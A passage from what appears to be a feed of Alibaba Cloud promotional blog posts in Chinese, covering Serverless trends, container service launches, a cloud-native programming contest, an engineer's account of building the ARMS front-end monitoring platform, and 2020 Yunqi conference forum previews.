    试想一下,如果服务器的概念被进一步抽象,那么与服务器有关的维护工作都会变成由云来承担。这就是我们常说的Serverless。过去十年,云正在逐步向 Serverless 演进。阿里云最初发布的 ECS 是服务器抽象,随着云原生技术的发展,Docker 容器让应用运行变得简单,Kubernetes 让集群运维变得简单。

    2016 年,阿里云发布的函数计算提供了函数级抽象,2019 年发布的 SAE 提供了应用级抽象,这些产品都抹去了服务器的概念,让用云方式得到极大的简化,并逐渐成为趋势。Serverless 已经不仅仅只有函数一种形态,它应该有不同的抽象级别。

    阿里云有4种不同的 Serverless 产品,分别提供了容器实例、容器编排、应用、函数的抽象。抽象级别低的产品,客户会拥有更大的管理灵活度;抽象级别高的产品,由云承担的工作会越多,客户的研发和运维的效率也会越高。

    这些 Serverless 产品可以给客户、给开发者带来什么样的价值呢?

    Serverless有三大核心价值:

    一是快速的交付:Serverless 通过进行大量的端对端整合以及云服务之间的集成,为应用开发提供了最大化的便利性,让开发者无需关注底层的 IaaS 资源,而更专注于业务逻辑开发,聚焦于业务创新,大大缩短业务的上市时间。

    二是极致的弹性:在 Serverless 之前,一旦遇到突发流量,可能会直接导致各种超时异常,甚至是系统崩溃的问题。即使有限流保护以及提前扩容等手段,依然会出现评估不准的情况,进而引发灾难性的后果。有了 Serverless 之后,由于具备毫秒级的弹性能力,应对突发流量会变得更加从容。

    三是更低的成本:就跟生活中用水电煤一样,我们只为实际消耗的资源买单,而无需为闲置的资源付费。Serverless 提供的端到端的整合能力,极大地降低运维的成本与压力,使 NoOps 成为可能。

    基于快速交付、智能弹性、更低成本的三大核心价值,Serverless 被认为是云时代的全新计算范式,引领云在下一个十年乘风破浪。 那么下一个十年的 Serverless 将会有什么趋势呢?

    第一,标准开放。通过支持开源的工具链和研发框架,Serverless 能够在多云环境下使用,无厂商锁定,免除客户后顾之忧。

    第二,云原生结合。与业界认为容器和 Serverless 有对立关系不同,阿里云 Serverless 将借助容器出色的可移植性和灵活性,实现应用交付模式统一;通过复用云原生生态,Serverless 在存储、网络、安全、可观测等方面更加标准、强大。

    第三,事件驱动。通过采用统一的事件标准,如 CloudEvent来建立云上的事件枢纽,让 Serverless 开发集成云服务、云边端应用更简单。

    第四,解锁更多业务类型。Serverless 早已不再局限在代码片段、短任务、简单逻辑,长时间运行、大内存的任务,有状态的应用,以及 GPU/TPU 的异构计算任务都会在 Serverless 产品上得到支持。

    第五,更低成本。在使用成本方面,采用 Serverless 产品的 TCO 会比基于服务器自建更低,一方面是引入预付费等计费模式,比按量节省 30% 以上;另一方面,随着 Serverless 不断演进,更大的资源池、更高的资源利用率,成本会进一步压低。在迁移成本方面,可以通过选择不同形态的 Serverless 产品,采用迁移工具,甚至一行代码不改,存量应用就能迁上 Serverless,享受 Serverless 红利。

    阿里巴巴的 Serverless 实践在业内处于领先地位,不仅淘宝、支付宝、钉钉、闲鱼等已经将 Serverless 应用于生产,Serverless 产品更为新浪微博、石墨文档、跟谁学、Timing 等各行各业的企业提供服务,助力企业快速数字化。而能够做到这些,离不开阿里云在 Serverless 战略上的坚持与技术投入。

    Serverless如何开启云的下一个十年,闲鱼是如何布局Serverless?一个没有服务器的世界是什么样子的?所有关于Serverless的热点话题,我们将在9月18日13:00 云栖大会「Serverless,引领云的下一个十年」全面揭秘!

    serverless海报.png

    扫码或点击预约直播,获取Serverless 实践与趋势解读。

    ]]>
    2020年容器应用的新思考 Fri, 02 May 2025 09:39:03 +0800 阿里云容器服务自从2016年5月正式推出,已经走过4年的旅程,服务了全球上万家企业客户。过去几年,阿里云和业界各位共同见证了容器技术的快速发展。

    容器镜像已经成为了分布式应用交付的标准,Kubernetes已经成为了分布式资源调度的标准:向下封装资源,向上支撑应用,已经成为了云应用操作系统,帮助应用以一致的方式运行在公共云、边缘计算和专有云环境中。在Kubernetes之上,也浮现出服务网格等新技术,进一步简化分布式应用架构开发和运维。

    阿里云提供了经典的云原生容器产品,包括:

    • Kubernetes服务 ACK,提供云端最佳容器运行环境
    • 镜像服务 ACR,管理各种云原生应用资产
    • 托管服务网格 ASM,加速新一代云原生应用架构落地

    容器已经无处不在了。越来越多的应用,通过容器方式进行管理、交付,从Web应用、数据库、消息等中间件,再到数据化、智能化应用。

    基于容器技术构建的新架构,会催生新的应用业务价值。其中,云原生 AI 是非常重要的应用场景,快速搭建 AI 环境,高效利用底层资源,无缝配合深度学习的全生命周期。好未来的AI中台基于容器服务搭建, 不仅帮助AI服务应对各种资源的急剧增长,而且解决了5个9的SLA需求。好未来AI中台技术负责人刘东东将会在18日的分享中详细讲述更多技术落地细节。

    作为容器服务的提供者,容器技术会继续发展,被应用于“新的计算形态”、“新的应用负载”和“新的物理边界”。云原生技术理念使企业用户及开发者只需要关注应用开发,无需关注基础设施及基础服务。

    因此除了上述的三款经典产品,阿里云还推出了 Serverless容器服务(ASK)和边缘容器服务(ACK@Edge)两款产品。

    Serverless容器服务(ASK)遵循Serverless 理念,将应用服务资源化并以 API 接口的方式提供出来,使用者只需从客户端发起调用请求即可,更重要的是,pay as you go 能够真正为用户节省成本。18日的分论坛演讲中,微博架构师胡春林先生将分享微博如何基于Serverless容器应对突发热点。

    此外,容器最被熟知的基础环境是数据中心,在业务流量高峰与低谷之时,凭借容器极致弹性可以实现应用与资源伸缩,有效地保证高利用率与高性价比。随着 5G 和物联网时代的到来,传统云计算中心集中存储、计算的模式已经无法满足终端设备对于时效、容量、算力的需求。将云计算的能力下沉到边缘侧、设备侧,并通过中心进行统一交付、运维、管控,将是云计算的重要发展趋势。以 Kubernetes 为基础的云原生技术,在任何基础设施上提供与云一致的功能和体验,实现云 - 边 - 端一体化的应用分发, 支持不同系统架构和网络状况下,应用的分发和生命周期管理,并且针对边缘及设备进行如访问协议、同步机制、安全机制的种种优化。

    容器可以适用于多种基础环境,比如数据中心、边缘云、和多云 / 混合云,使得开发者关注回归到应用本身。今年,阿里云容器服务也将迎来一系列新产品特性,并在9月18日「企业云原生创新与实践」分论坛上重磅发布。我们提前揭秘其中一部分新产品。

    第一个是容器服务ACK Pro版。它是针对金融、大型互联网、政企客户对安全、稳定、规模的更高需求,推出的高度优化的K8s运行环境。它具备几个关键优势:

    (1)基于神龙架构,软硬一体化优化设计,提供卓越性能;
    (2)提供高效调度能力,可以有效优化计算成本;
    (3)为企业提供全面安全防护,国内首批通过可信云容器安全先进性认证。

    ACK Pro正式商用后将提供可赔付的SLA。

    第二个是基于ACK的云原生AI加速器。Gartner预测到2023年,70% AI应用构建在容器和Serverless环境中。在过往的几年,阿里云帮助众多企业和阿里云计算平台等内部团队基于云原生技术构建AI平台。通过容器服务Kubernetes,可以对多种异构计算资源进行统一管理,提升资源利用率,降低计算成本。通过GPU共享等技术可以实现资源利用率2~4倍提升。

    通过K8s调度优化和分布式缓存等技术,可以提升AI计算效率。在模型训练场景,计算效率提升20%。此外,通过对AI任务提供统一流程管理,构建可重现、可移植、可组装的的AI流水线,AI工程效率可以提升50%。在此基础上,容器服务ACK推出云原生AI加速器,将把异构计算资源管理、调度优化,AI任务流水线,和上层AI算法引擎等全栈优化能力有机整合在一起。 它面向企业AI平台建设者,可以让客户自由组合各层能力,构建符合自己需求的AI平台, 加速算力的释放。

    以好未来为例,它是K12在线学习的领头羊,基于ACK的云原生AI加速器,提供了上百个AI服务。峰值请求量达每天8000万次。通过GPU共享调度,节省了近50%的资源成本。

    第三个是容器镜像服务企业版 ACR EE。它为众多跨国企业、互联网、在线教育、游戏等公司提供企业级云原生应用管理和分发能力。ACR EE支持容器镜像和所有符合OCI标准的应用制品管理,比如Helm Chart。以欢聚时代为例,它作为互联网出海的代表企业,其容器化应用需要在全球多地域、多 IDC 部署。使用 ACR EE,全球应用分发效率提高 85% ,成本仅为自建 1/3。

    第四个是阿里云托管服务网格ASM。Gartner预测,81%的企业将采用多云/混合云战略,混合云架构已经成为企业上云的新常态。在云原生时代,以Kubernetes为代表的技术屏蔽了基础设施的差异性,可以帮助企业在混合云环境下,进行统一资源调度和应用生命周期管理。

    阿里云托管服务网格ASM,是业内首个全托管,与Istio全兼容的服务网格产品。 服务网格的控制平面的组件托管在阿里云侧,用户集群只包含数据平面组件。这个架构解耦了服务网格与K8s集群的生命周期,简化升级和问题诊断;提升了系统的可伸缩性和稳定性。此外ASM全面整合阿里云可观测性、安全等能力,大大简化了服务网格生产环境的运维管理。

    9月,ASM正式商用,阿里云容器服务负责人易立将在9月18日云栖大会「企业云原生创新与实践」分论坛详细介绍ASM的新特性。

    去年阿里云发布边缘容器服务ACK@Edge。帮助企业将云计算能力延展到边缘,降低应用网络延时,简化海量设备的分布式管理。短短一年,已经广泛应用于音视频直播、云游戏、工业互联网、交通、物流、能源、城市大脑等应用场景中。

    这一次,ACK@Edge 与阿里云智能接入网关服务 SAG 共同推出多链路、云边协同的网络方案,具备安全加密、就近接入、即插即用等多种能力,使能边缘资源、业务一站式接入上云。在边缘计算领域,阿里巴巴云原生边缘计算平台 OpenYurt 在9月9日正式成为 CNCF 沙箱级别项目(Sandbox Level Project),标志着 OpenYurt 在边缘计算场景中构建云原生基础设施的能力受到了行业的广泛认可。

    此外,在本次云栖大会上,阿里云原生还将发布沙箱容器 2.0等重磅产品,通过核心技术解读与案例分享,帮助企业获得更加敏捷、高效的容器实现。

    更多精彩内容,敬请期待9月18日13:00 「企业云原生创新与实践」分论坛。

    18 企业云原生-商圭.png

    预约直播:https://yunqi.aliyun.com/2020/session88

    ]]>
    首届云原生编程挑战赛精彩盘点:他们如何从10000多支团队中脱颖而出? Fri, 02 May 2025 09:39:03 +0800

    云原生编程挑战赛,是“中间件性能挑战赛”的升级,赛题升级、赛道升级、报名团队数超过10000支,创下同类大赛报名新高。

    9月14日,阿里云原生编程挑战赛决赛答辩线上直播完美落幕,10支进入决赛的团队用精彩的答辩,为历时4个月的大赛画下了圆满的句号。其中,greydog团队以出色的方案、创新的优化思路、过硬的技术实力斩获冠军。

    大赛专家评审团认为,greydog团队的方案思路清晰,提出的7个技术优化点具有可落地性,在冷启动处理、OOM处理和大压力请求或超多函数场景下的解决思路具有很高的借鉴意义,能深入到赛题核心,勇于创新,具有较高的技术价值和应用价值。

    冠军.jpg

    ONE PIECE团队、睡衣小英雄团队并列亚军,四字成语团队、afkbrb团队、穿山甲团队获得季军。另外四支团队:井底虾蟆笔尖蛙Errr、hello,靓仔、亚洲王子王云轩、hehehlin获得优秀奖。

    阿里云研究员、本次云原生编程挑战赛的决赛评委之一的叔同,在决赛答辩结束后,跟在场的选手们分享了他对于云原生的理解。

    “过去我们常以虚拟化作为云平台和与客户交互的界面,为企业带来灵活性的同时也带来一定的管理复杂度;容器的出现,在虚拟化的基础上向上封装了一层,逐步成为云平台和与客户交互的新界面之一,应用的构建、分发和交付得以在这个层面上实现标准化,大幅降低了企业 IT 实施和运维成本,提升了业务创新的效率。

    从技术发展的维度看,开源让云计算变得越来越标准化,容器已经成为应用分发和交付的标准,可以将应用与底层运行环境解耦;Kubernetes 成为资源调度和编排的标准,屏蔽了底层架构的差异性,帮助应用平滑运行在不同的基础设施上;在此基础上建立的上层应用抽象如微服务和服务网格,逐步形成应用架构现代化演进的标准,开发者只需要关注自身的业务逻辑,无需关注底层实现,云原生正在通过方法论、工具集和理念重塑整个软件技术栈和生命周期。

    以容器为代表的云原生技术,用开放、标准的技术体系,帮助企业和开发者在云上构建和运行可弹性扩展、容错性好、易于管理、便于观察的系统,已经成为释放云价值的最短路径。最早创造和应用容器技术的是互联网公司,今天有了开放标准的云原生生态,使得容器技术得到迅速普及,越来越多的企业和开发者使用容器构建应用,共同享受这一技术红利。”

    一、为什么决赛选择了Serverless这一技术方向?

    十年前通过推出云服务器,云计算拿下了第一桶金。这种基于服务器的云服务,帮助客户节省了对 IDC 的机器采购和运维成本,同时也保持了传统服务器运维的习惯。但服务器里面运行的操作系统、应用软件,以及整个分布式架构的运维复杂度,依然没法得到彻底解决,企业为此也投入了大量成本。

    事实上,基于服务器的云服务并不是云时代的终态。
    试想一下,如果服务器的概念被进一步抽象,那么与服务器有关的维护工作都会变成由云来承担。这就是我们常说的Serverless。过去十年,云正在逐步向 Serverless 演进。阿里云最初发布的 ECS 是服务器抽象,随着云原生技术的发展,Docker 容器让应用运行变得简单,Kubernetes 让集群运维变得简单。

    阿里云Serverless负责人、本次云原生编程挑战赛决赛评委之一的不瞋在分享中提到,2016 年,阿里云发布的函数计算提供了函数级抽象,2019 年发布的 SAE 提供了应用级抽象,这些产品都抹去了服务器的概念,让用云方式得到极大的简化,并逐渐成为趋势。Serverless 已经不仅仅只有函数一种形态,它应该有不同的抽象级别。

    总的来看,Serverless有三大核心价值:

    一是快速的交付:Serverless 通过进行大量的端对端整合以及云服务之间的集成,为应用开发提供了最大化的便利性,让开发者无需关注底层的 IaaS 资源,而更专注于业务逻辑开发,聚焦于业务创新,大大缩短业务的上市时间。

    二是极致的弹性:在 Serverless 之前,一旦遇到突发流量,可能会直接导致各种超时异常,甚至是系统崩溃的问题。即使有限流保护以及提前扩容等手段,依然会出现评估不准的情况,进而引发灾难性的后果。有了 Serverless 之后,由于具备毫秒级的弹性能力,应对突发流量会变得更加从容。

    三是更低的成本:就跟生活中用水电煤一样,我们只为实际消耗的资源买单,而无需为闲置的资源付费。Serverless 提供的端到端的整合能力,极大地降低运维的成本与压力,使 NoOps 成为可能。

    基于快速交付、智能弹性、更低成本的三大核心价值,Serverless 被认为是云时代的全新计算范式,引领云在下一个十年乘风破浪。

    二、他们凭什么赢得阿里云众多技术专家的认可?

    今年是云原生编程挑战赛的第一年,是过去5年“中间件性能挑战赛”的升级。大赛一经发布,就吸引了众多开发者和高校学生的注意力。据统计,本次云原生编程挑战赛总计报名团队11060支,初赛分为三大并行赛道:【赛道1】实现一个分布式统计和过滤的链路追踪;【赛道2】实现规模化容器静态布局和动态迁移;【赛道3】服务网格控制面分治体系构建。

    通过三大赛道,为参赛团队更多的选择,从而让更多的开发者能够加入到比赛中来。

    正如云原生编程挑战赛负责人天北所说,“为了让这么庞大的参赛团队有充足的时间备战,同时也给评委更多的时间从这么多优秀的团队和作品中做出合理公正的选择,我们将大赛的赛程设置为4个月的长期赛,对于每个坚持到最后的参赛团队而言,都是一场脑力与耐力的比拼。在大赛结束之后,我们也会把优秀的作品分享出来,让大家了解这次大赛的技术方案和参赛团队的一些创新的想法,从而赋能更多的开发者。”

    本次大赛与其他编程类大赛最大的不同在于,云原生是未来十年最热的技术趋势之一,对于每一个参赛团队而言,所要处理的技术问题和挑战,都是未来大家真正深入到工作中会用到的方法和技能。每个赛题都来自于阿里云技术专家多年的实践思考,从技术痛点出发,真正能帮助选手了解Serverless、Service Mesh、Kubernetes等当下热门技术的核心。在这段比赛旅程中,阿里云的技术专家全程在钉钉群中为选手答疑解惑,启发大家从技术本身出发了解云原生是什么,解决什么问题,未来还有哪些想象力。

    能从10000多支团队中脱颖而出,这十支战队有何“秘密武器”?

    在赛后对这些参赛团队采访时,我们发现,他们对于新技术和新趋势抱有极大的学习热情,对于不懂的知识点会抽出时间来学习,对于已完成的方案仍然十分挑剔,每一处优化都希望尽可能达成更极致的效果。经历了4个月的磨砺,对于坚持到最后的这10支队伍而言,不仅结交到了一群热爱技术的朋友,更拓展了视野,接触到了最前沿的技术趋势。

    而这4个月,对于选手的考察不仅是脑力的比拼,更是耐力的考验。在答辩现场,面对众多阿里云技术专家的“灵魂拷问”,这些选手们能够从容不迫地阐述方案、讲解技术优化思路,并在与专家们的交流中收获经验。

    900.png

    三、云原生在未来十年将进一步释放技术红利

    云的技术发展会领先于企业落地的速度。尽管云原生技术已经被广泛接受,其在企业技术栈的落地仍然需要时间,也面临不少挑战。如容器化过程中改变传统虚拟机模式下的运维习惯,企业传统应用分布式微服务化的改造涉及 re-architecturing 等因素。

    云原生被企业接受之后,落地的过程需要解决这些挑战。运维管理含有丰富组件并快速演进的云原生的基础设施也对企业 IT 人员的技术技能提出了更高的要求。但是我们坚信,云原生技术带来的资源成本降低,研发运维效率提升等巨大价值,会驱动企业迎接这些挑战。

    在这个过程中,使用云原生上云,基于容器和服务网格等标准界面和混合云方案,将极大的降低迁云复杂度,使企业可以更快迁移到云上标准服务。**通过云原生上云最大化使用云的能力,高效的社会分工,使企业聚焦于自身业务发展,相信将成为企业的共识。
    **

    在企业迈入云原生的历程中,阿里云原生也将提供最大的助力。阿里云拥有国内最丰富的的云原生产品家族,最全面的云原生开源贡献,最大规模的云原生应用实践,最广泛的云原生客户群体,助力企业数字化转型。全链路压测、极速弹性扩缩容以及云原生的全栈技术已广泛服务于互联网、金融、零售、制造、政务等领域企业和机构,大幅降低了应用开发的门槛,让企业轻松享受云的技术红利。

    对于云原生从业者来说,最大的挑战之一就是兑现新技术给业务带去的价值。站在新的一个十年起点,云原生从业者应当坚定自己对于新技术价值的理解和洞察,沉下心去将云原生的基础能力建设好,创造行业趋势,为云计算的发展做出自己的贡献。

    今年是云原生编程挑战赛的第一年,是一个非常好的开始。我们看到越来越多年轻的技术力量融入到云原生的技术浪潮里,因为相信,所以看见。这些跳动的思考、新鲜的血液、创新的方案也将成为中国云原生技术发展生生不息的动力源泉。

    决赛答辩方案介绍:
    https://tianchi.aliyun.com/forum/?spm=5176.12282029.0.0.72d86fdcIExKCw#raceId=231793

    点击决赛答辩,观看云原生编程挑战赛决赛答辩盛况。

    ]]>
    技术与业务同行:我是如何在业务中成长的? Fri, 02 May 2025 09:39:03 +0800 作者:慕扉

    应用实时监控服务ARMS(Application Real-Time Monitoring Service)是一款应用性能管理(APM)产品,包含应用监控、Prometheus监控和前端监控三大子产品,涵盖分布式应用、容器环境、浏览器、小程序、App 等领域的性能管理,能帮助用户实现全栈式性能监控和端到端全链路追踪诊断,让应用运维从未如此轻松高效。

    我主要负责阿里云ARMS前端监控平台,该业务更偏向于技术类产品。我想聊聊如何在业务中成长,期间也有困惑和迷茫,希望我的经历或者方式方法能给有类似情况的前端同学有所帮助。

    我个人的成长主要分为三个阶段,分别是:

    (1)监控领域初接触,建立自身监控知识体系
    (2)业务痛点跟进,打造监控平台核心能力
    (3)业务场景不断拓展,建立保障业务稳定体系

    监控领域初接触,建立自身监控知识体系

    最初业务面临的问题:业务上线之后,用户在实际访问时遇到错误,业务方无法快速感知;发生线上故障后,很多场景无法快速复现和排查原因等。基于业务的这些痛点,团队决定搭建前端监控平台来解决这些问题。

    我是从Retcode2.0正式开始接触前端监控领域,面对一个新的领域,需要快速从0-1建立自身监控知识体系。这个过程是非常充实且充满挑战的,但当你完成这个阶段后会非常有成就感。面对未知和挑战,这里总结一下我认为比较重要的经验。

    勇于打破自己的边界,拓展自己的技术栈

    前端监控的整个体系简单总结一下:采集、日志存储、日志切分&计算、数据分析、告警,也就是工作不再局限于前端业务的开发工作,需要有Nginx服务运维能力、实时/离线分析能力、Node应用开发运维能力等等,所以我迈出了第一步,从前端->全栈的转变,让我整体熟悉并能把控前端监控从采集到最后告警诊断整个流程,在这个基础上让我后续能Cover整个监控平台。

    Owner意识

    对于负责的产品需要具备较强的Owner意识,把工作做大做强,服务好客户。每一个功能的开发、迭代、优化及创新,认真对待,保障每个环节做到最好。在这个过程中,我的角色也发生了改变,从最初的功能实现落地者到产品能力的主导技术方案的选型拍板者,这段时间的复盘让我不经意间意识到自己的这些变化。

    以我自己的一个经历为例:最初日志服务器的部署是运维同学直接在机器上配置好,再提供服务。我接手后就遇到了一个比较大的问题:扩容。正常应用扩容是很简单的事情,通过PSP提交扩容申请单,可快速完成扩容。但当前Nginx日志服务没有基线配置,无法直接PSP扩容,只能手动配置。

    对于扩容来说,当前的方案存在2个问题:

    (1)手动配置扩容时间成本高
    (2)无法有效保证所有机器上各类包的版本号一致。

    为了解决这些问题,就需要了解Nginx日志服务的能力及运维相关的能力,通过与PE、后端同学讨论,最终决定采用Dokcer的形式解决当时扩容的问题,不仅提升了运维效率,也为后续海外业务支持打好了基础。
    所以给到大家的建议是,不要单纯的完成产品的一个个功能,而是要有Owner意识,认真审视业务面临的问题,能够主动去跟进和改变,慢慢积累后续会产生质变。

    业务痛点跟进,打造监控核心能力

    平台从0-1搭建完成后,为了服务更多的业务,打磨产品能力,正式上云升级为阿里云ARMS前端监控平台。监控的基础能力已全部上线,后续如何发展是我需要思考的问题。如果后续在这个基础上一直做迭代优化,产品和个人都没有明显的突破与成长。

    针对技术类产品,大部分是技术同学主导,在产品发展到一个阶段后,就会面临如何做后续的突破问题。我有两点建议:

    (1)深入业务面临的问题,制定技术解决方案。

    首先问自己几个问题:
    • 业务方是谁?
    • 现在业务在用自己的产品的时候都有哪些问题?
    • 业务的诉求是什么?
    • 自己的产品存在哪些问题?

    深入挖掘这些问题,列出TOP5的答案,会发现有很多值得去做和突破的事情。

    在最初的前端监控领域,产品都集中在针对采集上报的数据做统计展示阶段,通过数据指标的波动情况发现异常,然后接下来异常的定位则直接依赖于原始日志,原始日志如果覆盖不到信息,则只能靠业务同学自己复现和排查了。更多时候统计的数据无法解释,直接导致业务同学对数据的准确性产生质疑。所以监控产品要从最初的数据统计演进为问题定位。在这个阶段,主导并补齐相应的问题诊断链路。

    (2)拓展视野 (技术&业务)

    在主导一个产品方案/制定技术方案前,需要提前调研,辅助做出决策。调研的目的是拓展自己的技术&业务视野,其中对应的途径可以有:

    • 竞品分析:当前成熟的产品听云、dynatrace、oneAPM等;

    • 相关联领域同学输入/讨论:产品、后端应用监控同学等。

    一个线上问题的排查,不是独立的前端监控或者应用监控就直接给到原因的,拓展自己认知的领域后,与后端中间件同学讨论,最终制定提供全链路监控的方案,来满足业务排查问题的诉求。通过这个案例可以看到,如果不跨出一步,是看不到也无法给出方案的。

    业务场景不断拓展,建立保障业务稳定体系

    在产品能力整体趋于稳定后,如何寻找自己的突破口?我也曾经走过误区,希望自己在技术上能有突破,所以出发点是现在有哪些技术可以在我的产品上体现出深度,直接导致越考虑越迷茫。其实,正确的出发点仍然是第二部分提到的:从业务痛点出发来制定解决方案。在这一部分不再是单点解决问题,而是体系化的考虑方案。

    我有几点经验可以分享下:

    开放的心态,合作共赢

    技术类产品会收到各个业务方的诉求,在人力有限的情况下要支持各类诉求难度很大。这时候摆正心态,可以拉诉求方同学合作共建,更好的满足业务方诉求,同时让产品也不断拓展支持场景。

    前端技术发展非常迅速,在最初小程序迅猛发展的时候,小程序的监控诉求也随之而来。但当时团队对于小程序的技术架构等并不熟悉,在此基础上做监控成本较大。其中钉钉有较多的访问量级较大的小程序,对于监控有较强的的诉求,在综合考虑业务诉求和产品拓展后,与钉钉同学合作共建支持各类小程序的监控诉求。在这次合作中,让我深刻体会到优势互补、事半功倍的效果。

    体系化建设

    在前期完成对于整个体系的了解,后续可以从这个体系涉及的各个环节来综合考虑解决方案。

    随着业务的不断接入,监控所需的计算资源、存储资源等问题不断暴露出来,这时候我的工作不仅要保障业务稳定,更要保障平台稳定,所以在采集阶段、上报阶段、存储阶段、计算阶段考量制定保障方案。完成体系化稳定性建设后,不仅可以在大促前1分钟发现风险,也可以保障平台稳定支持大促中各类站点的监控诉求,并且在大促后沉淀赋能于日常的稳定性运维工作。

    结束语

    每个人的经历与负责的工作各不相同,无法直接照搬别人成功的经验,同时很多总结的点都是知易行难,但可以从优秀同学的经验及总结中找到自己认可的内容,坚持并不断在自己身上实践,只有不断实践才能慢慢转化为自己的能力。

    推荐文档:
    阿里云业务实时监控服务ARMS:https://www.aliyun.com/product/arms
    阿里云业务实时监控服务ARMS前端监控:https://arms.console.aliyun.com/#/retcode
    阿里云业务实时监控服务ARMS前端监控文档:https://help.aliyun.com/document_detail/58652.html

    ARMS是阿里云原生团队非常重要的一款产品。目前已经服务了如人人视频、完美日记、畅捷通等众多客户,云原生中间件的技术和产品体系,如何帮助企业降低业务的运行成本和技术风险?如何提升业务的迭代速度?针对云原生场景下常见的技术挑战和痛点,阿里云、人人视频、畅捷通技术专家有哪些技术经验和思考?我们将在9月18日13:00 云栖大会「云原生中间件」全面揭秘!

    中间件分论坛(二维码).jpg

    扫码或点击阅读原文预约直播,获取云原生中间件的实战经验和落地思考。
    阅读原文:https://yunqi.aliyun.com/2020/session91

    ]]>
    解构云原生,从概念到落地:阿里云、声网、微博、好未来、CNCF的专家们怎么看? Fri, 02 May 2025 09:39:03 +0800

    钉钉2小时内扩容1万台云主机支撑2亿上班族在线开工,申通快递核心系统云原生化上云,日均处理订单3000万,IT成本降低50%,中国联通建成最大云上BSS系统支持3.6亿用户无缝覆盖,完美日记采用容器服务ACK,节省服务器成本50%以上,轻松应对大促……

    这些案例的背后正是云原生的普及,推动全社会加速享受技术红利。 从2009年首次上线核心中间件系统,到2011年淘宝天猫开始使用容器调度技术,再到推出自研云原生硬件神龙服务器、云原生数据库PolarDB,阿里已经在云原生领域深耕数十年。2019年双11之前,阿里核心系统完成100%上云,这也是全球规模最大的云原生实践。

    目前,阿里云已将基础设施全面升级云原生。关于云原生,我们曾在年初发布了:2020 云原生7大趋势预测。对于云原生从业者而言,2020年最大的挑战就是兑现新技术给业务带去的价值,那么过去一年,阿里云原生取得了哪些成果?又有哪些企业接受了云原生的技术理念从而加速业务升级?

    让我们在云栖大会做一次整体的汇报。作为今年云栖大会的重磅热点之一,云原生有哪些新玩法?

    四大分论坛,拆解云原生技术实践

    分论坛一:企业云原生创新与实践

    以前一家企业想使用云原生的技术或产品,需要花费大量的精力研究一些开源项目,自己做运维和管理,还需要考虑集成、稳定性保障等问题,这样才能建立一个云原生平台。今天,为了方便企业和开发者更容易地使用云原生的技术和产品,更好地接受云原生的理念,并解决企业担忧的可靠性、性能、连续性等问题,阿里云为大家提供了一整套云原生产品家族,提供了非常强的 SLA 保障。

    18 企业云原生-商圭.png

    在企业云原生创新与实践分论坛,不仅有阿里云技术专家分享容器技术、Serverless容器、云原生基础设施、底层系统等产品升级和发展演进,还邀请了来自好未来、声网、新浪微博、CNCF的技术专家分享云原生实践的历程、开源项目和经验思考。

    分论坛二:云原生中间件

    如果把企业内部的业务比喻为一个城市系统,这个城市中的IT机构就是像水、电、煤一样的基础设施,那么中间件就类似于输水管道,推动着数据从一个应用流向另一个应用。而在云计算时代,中间件又被赋予了新的定义,那就是对云原生的支持。

    中间件海报.png

    本论坛将全面解读如何利用阿里云原生中间件的技术和产品体系,帮助企业降低业务的运行成本和技术风险,提升业务的迭代速度。同时,针对云原生场景下常见的技术挑战和痛点,分享技术经验和思考,并深入探讨云原生中间件如何加速企业数字化转型等热点话题。

    分论坛三:Serverless,引领云的下一个十年
    试想一下,如果服务器的概念被进一步抽象,那么与服务器有关的维护工作都会变成由云来承担。这就是我们常说的Serverless。过去十年,云正在逐步向 Serverless 演进。阿里云最初发布的 ECS 是服务器抽象,随着云原生技术的发展,Docker 容器让应用运行变得简单,Kubernetes 让集群运维变得简单。

    serverless海报.png

    Serverless将开发人员从繁重的手动资源管理和性能优化中解放出来,就像数十年前汇编语言演变到高级语言的过程一样,云计算生产力再一次发生变革。与其说Serverless是云计算的升华,不如说Serverless重新定义了云计算,将成为云时代新的计算范式,引领云的下一个十年。对于Serverless的热点话题,我们在Serverless分论坛邀请众多大咖一起来碰撞新思考。

    分论坛四:企业数字化转型最佳实践

    云原生,是云计算的再升级,也是企业数字化转型的最短路径。阿里巴巴作为中台概念提出者和践行者,积极推动中台发展,并完整提出从理论到实践的企业数字化转型最佳路径。本论坛将介绍业务中台技术解决方案产品为基础,围绕服务能力的标准化、可复用、可扩展、可视化、可管控等要素提供新方法和新工具,帮助业务中台实施落地。

    业务中台海报.png

    一场Serverless重磅新品发布

    在云栖大会新品发布会上,阿里云智能研究员丁宇将重磅发布4个Serverless生态产品,助力阿里云Serverless的快速发展。

    • 沙箱容器2.0:阿里云Serverless产品的基石,更稳定、更安全、更弹性。
    • EventBridge:云上事件枢纽,原生支持CloudEvents,更标准、更规范。
    • Serverless工作流:提供简单灵活、可视化的函数编排,更直观、更便捷。
    • 函数计算2.0Plus:携手开发者工具+应用中心,引领开发者体验全面升级。

    叔同海报22.jpg

    在9月18日13:00 云栖大会上,丁宇将详细讲解四大产品的特性和应用实践,扫码订阅直播,第一时间获得直播开始通知。

    一场面向生态合作伙伴的分享

    随着阿里云在云原生领域的探索和实践,阿里云逐渐成为云原生领域的定义者,领导者,对云原生技术发展做了一些预判:

    • 我们相信,云原生技术成为了云计算的新界面;
    • 我们相信,云原生技术能够重塑软件研发全生命周期;
    • 我们相信,云原生技术能够推动了信息产业的转型与升级;

    因此说云原生是释放云计算技术红利的最短路径;这次阿里云正式发布的云原生联盟,是阿里云云原生合作伙伴计划的重要载体。以解决方案伙伴为驱动,带动分销伙伴、服务伙伴,实现三位一体,帮助伙伴在销售能力、产品和解决方案能力、服务能力的全面成长。坚持定位云原生基础设施,“练好内功、做好被集成,帮助伙伴构建自身核心竞争力,共同服务企业数字化转型”。

    宁晓民.jpg

    9月17日13:00,阿里云智能资深解决方案架构师宁晓民将分享云原生合作伙伴计划的发展与目标。

    附上云栖大会云原生参会指南,一图解锁云原生重要热点和重大发布。

    参会秘籍.jpg

    敬请期待 9.18云栖大会-云原生四大分论坛精彩内容。点击 订阅 提前订阅直播。

    ]]>
    ARMS在APM工具选型中的实践 Fri, 02 May 2025 09:39:03 +0800 前言

    当前的系统在数字化转型需求以及互联网架构实施的影响下,越来越普遍地使用了微服务架构,我们在享受微服务带来的好处(开发效率高, 独立部署, 水平扩展, 故障与资源隔离等等)外,也带来测试,事务,应用监控等各方面的困难。

    image.png
    从上图可以看出,在以分布式为主的互联网架构下,应用间的调用变得越来越复杂,我们传统使用的开发工程师主动埋点,运维人员到主机上查日志,组合调用链,监控应用的运行情况,显得越来越力不从心。

